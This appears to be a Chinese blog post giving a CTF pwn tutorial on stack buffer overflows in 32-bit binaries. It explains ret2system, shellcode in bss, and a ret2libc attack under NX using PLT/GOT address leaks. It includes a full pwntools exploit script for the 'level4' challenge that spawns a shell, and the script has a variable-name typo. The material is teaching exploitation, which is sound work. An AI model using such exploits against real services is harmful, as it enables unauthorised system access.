pwn(三)

pwn(三)

  • 简单的溢出利用方法
  • 程序没有开启任何保护
方法一:寻找程序中system的函数,再布局栈空间,最后成功调用system('/bin/sh')
方法二:将我们的shellcode写入bss段,然后用elf.bss()来获取bss段地址,从而程序流向到我们的shellcode
  • 这里不用具体程序分析了,把payload分别写上
方法一:payload = 'a' * offset + 4 * 'a' + p32(sys_addr) + p32(4) + p32(sh_addr)
方法二:payload = 'a' * offset + 4 * 'a' + p32(read_addr) + p32(elf.bss()) + p32(0) + p32(elf.bss()) + p32(len(shellcode))
  • 以下主要学习开启了各种保护的服务如何拿shell

NX保护

有libc的情况

  • 开启了NX保护之后,我们程序的bss段和栈段都不具有执行权限,只有读写权限
  • 这里分为两种情况,实际上现实场景只有一种情况,第一种给了你一个libc文件,第二种没有给你libc文件,如果没有libc文件的情况下,我们通常是通过pwntools的DlyELF模块去泄露出libc的版本,然后继续利用,我们这里先分析有libc文件的情况
  • 环境:kali 2018.3 i386,这个题目给了个可执行的32位ELF文件,然后给了个libc-2.19.so的动态库链接文件
  • 原理:我们要执行system(’/bin/sh’)这个函数程序,首先我们要找到system函数和’/bin/sh’这个字符串,然后构造pyload,那么我们的核心问题就是如何找到这个函数和字符串
payload = 'a' * (offset + 4) + system_addr + ret_add + sh_addr
  • 在运行这个程序的时候,动态库也会随着程序加载入内存,此时动态库中的system函数也会随之加载入内存,那么我们如何找到内存的system函数
  • 我们需要知道另外个东西,plt表和got表
plt表和got表 - 代码共享和动态库的关键
1.这个程序第一次使用write函数时,流程是,会先去call write_plt,此时call了以后,有三段代码会别执行,
2. 就是我们之前写的三段代码,程序会先跳到got表,然后压入一个got表的下标,
3.然后会跳转到plt[0],plt[0]会先跳转到动态连接器的入口,然后去找到这个函数地址,.然后会跳转到plt[0],plt[0]会先跳转到动态连接器的入口,然后去找到这个函数地址
4.然后把这个函数地址复写到got表中,这样第二次调用write函数时,当程序直接跳转got表的时候,就直接执行了这个函数

1.举个比较通俗易懂的例子:我在一个程序里引用了一个外部变量(extern int a),此时程序在编译的时候,并不知道这个a的值,于是就用一个符号来表示这个a(符号:在编译完的程序中,并没有严格的函数或者变量的概念,都是用符号来表示)
GOT表的作用:表中的每一项都是用来保存程序中引用其他符号的绝对地址
2.在编译链接的时候,并没有在GOT表中直接写入地址,而是先用符号表示了这个地址,那么在什么时候地址才会写入GOT表呢,在这个函数第一次调用的时候,这个地址就会被写入,第二次调用的时候就直接调用了这个地址
3.PLT表是什么呢,PLT表相当于是程序和GOT表之间的一个快递员或者说中介,PLT通过引用GOT表中的函数的绝对地址,来把控制转移到实际的函数,而变量就不需要用到PLT表了,直接修改掉外部引用变量的符号就可以了

调用流程:在第一次调用函数时,它会调用默认存根,会加载标识符并调用动态链接器,然后把地址修补到GOT表中,然后下次调用PLT条目时,它就会加载函数的实际地址
  • 我们如何利用got表和plt表,也就是说我们只要知道plt表对应system的地址,我们就能找到system函数在内存中的地址了
第一次call write -> write_plt -> 系统初始化去获取write在内存中的地址 -> 写到write_got -> write_plt变成jmp *write_got
  • 此外我们还需要知道一点,就是在库文件中的两个函数之间的偏移,和加载进内存之后的偏移是一致的,这样我们就可以通过找到write函数的在内存中的地址,然后计算库文件中write函数和system函数的地址,这样我们可以通过计算得到system函数在内存中的地址,同理我们可以得到/bin/sh字符串的内存地址,这样我们就可以调用system函数来返回一个shell了
 write_addr - system_addr = write_libc_addr - system_libc_addr
  • 通过上面的分析我们就可以直接来写payload了
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

#io = remote('pwn.jarvisoj.com',9879)
# connect
io = process('./level4')
elf = ELF('libc-2.19.so')
pwn = ELF('level4')

# plt
plt_write = pwn.plt['write']
vun_addr = pwn.symbols['vulnerable_function']

# libc
libc_write = elf.symbols['write']
libc_sys = elf.symbols['system']
libc_sh = elf.search('/bin/sh').next()

# got
got_write = pwn.got['write']

# leak the address of got_write
payload = 0x88 * 'a' + 4 * 'a'
payload += p32(plt_write)
payload += p32(vun_addr)
payload += p32(1) + p32(got_write) + p32(4)

io.recvuntil('Input:\n')
io.send(payload)
write_addr = u32(io.recv(4))

# offset
system_addr = write_addr - (libc_write - libc_sys)
sh_addr = write_adadr - (libc_write - libc_sh)

# metasplit
payload = 0x88 * 'a' + 4 * 'a'
payload += p32(system_addr)
payload += p32(4)
payload += p32(sh_addr)

io.send(payload)
io.interactive()
  • 2
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值